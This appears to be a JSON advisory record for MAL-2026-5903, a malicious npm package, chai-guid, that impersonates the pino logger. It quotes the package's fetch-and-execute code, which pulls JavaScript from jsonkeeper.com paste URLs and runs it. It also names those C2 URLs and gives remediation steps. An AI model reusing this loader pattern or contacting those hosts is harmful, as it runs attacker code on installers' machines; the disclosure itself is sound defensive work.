{"answers":{"affected":"1 open source package ship an affected version, including chai-guid.","exploited":"There is no known exploitation of MAL-2026-5903 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5903 is a malicious package in chai-guid, published on 16 Jun 2026."},"fix_prompt":"MAL-2026-5903 is a malicious package: chai-guid (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5903/ (Markdown: https://insights.sbomify.com/MAL-2026-5903/index.md)","id":"MAL-2026-5903","markdown":"https://insights.sbomify.com/MAL-2026-5903/index.md","name":"MAL-2026-5903","record":{"aliases":["GHSA-g8gv-g8mr-x8pc"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"chai-guid impersonates the pino logger and the chai-guid chai plugin (README copies pino badges and pinojs CI links; index.js exports middleware as `module.exports.pino`). When a consumer calls the exported middleware, index.js spawns lib/caller.js as a detached Node process with stdio ignored. lib/caller.js performs `axios.get('https://jsonkeeper.com/b/U2BTS')`, reads the `.cookie` field of the response, and executes it via `new Function.constructor('require', s)(require)` — running attacker-controlled JavaScript with full Node privileges and `require` injected. A second base64-encoded URL (`https://jsonkeeper.com/b/XRGF3`) is hidden in a fake `process.env.DEV_API_KEY` shim in lib/caller.js and lib/const.js as a secondary C2 endpoint. jsonkeeper.com is an anonymous, mutable JSON-paste host; whatever bytes the attacker pastes there will be executed on the installer's machine the moment any consumer invokes the package's middleware.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in chai-guid (npm)","id":"MAL-2026-5903","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"chai-guid","purl":"pkg:npm/chai-guid","source":"MAL-2026-5903"}],"products":null,"published":"2026-06-16","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5903/"}